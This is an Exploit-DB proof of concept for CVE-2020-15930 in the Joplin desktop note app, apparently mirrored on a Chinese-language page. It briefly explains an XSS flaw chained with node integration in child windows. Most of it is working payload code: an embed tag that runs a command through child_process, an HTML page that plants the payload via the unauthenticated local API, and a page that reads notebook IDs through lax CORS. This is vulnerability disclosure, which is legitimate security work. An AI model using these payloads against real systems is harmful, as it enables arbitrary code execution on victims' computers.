Joplin 1.0.245 – Arbitrary Code Execution (PoC)

  • 作者: Ademar Nowasky Junior
    日期: 2020-09-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48837/
  • # Exploit Title: Joplin 1.0.245 - Arbitrary Code Execution (PoC)
    # Date: 2020-09-21
    # Exploit Author: Ademar Nowasky Junior (@nowaskyjr)
    # Vendor Homepage: https://joplinapp.org/
    # Software Link: https://github.com/laurent22/joplin/releases/download/v1.0.245/Joplin-Setup-1.0.245.exe
    # Version: 1.0.190 to 1.0.245
    # Tested on: Windows / Linux
    # CVE : CVE-2020-15930
    # References:
    # https://github.com/laurent22/joplin/commit/57d750bc9aeb0f98d53ed4b924458b54984c15ff
    
    # 1. Technical Details
    # An XSS issue in Joplin for desktop v1.0.190 to v1.0.245 allows arbitrary code execution via a malicious HTML embed tag.
    # HTML embed tags are not blacklisted in Joplin's renderer. This can be chained with a bug where child windows opened through window.open() have node integration enabled to achieve ACE.
    # If Joplin API is enabled, Remote Code Execution with user interaction is possible by abusing the lack of required authentication in Joplin 'POST /notes' api endpoint to remotely deploy the payload into the victim application.
    
    # 2. PoC
    # Paste the following payload into a note:
    
    <embed src="data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)</script>">
    
    # 2.1 RCE with user interaction
    # Enable Joplin API, visit exploit.html and open the created note in Joplin to execute the exploit.
    # By default, notes are stored in the last notebook created.
    
    <!-- exploit.html -->
    <script>
    x = new XMLHttpRequest;
    j = {
    title: "CVE-2020-15930",
    body: "<embed src='data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)<\/script>'>"
    };
    x.open("POST", "http://127.0.0.1:41184/notes");
    x.send(JSON.stringify(j));
    </script>
    
    # To create a note in other notebooks you need the notebook ID. It's possible to get the victim's notebooks IDs due to a relaxed CORS policy in 'GET /folders' endpoint.
    
    <!-- notebooks.html -->
    <script>
    x = new XMLHttpRequest();
    x.onreadystatechange = function() {
    if (x.readyState == XMLHttpRequest.DONE) {
    alert(x.responseText);
    }
    }
    x.open('GET', 'http://127.0.0.1:41184/folders');
    x.send();
    </script>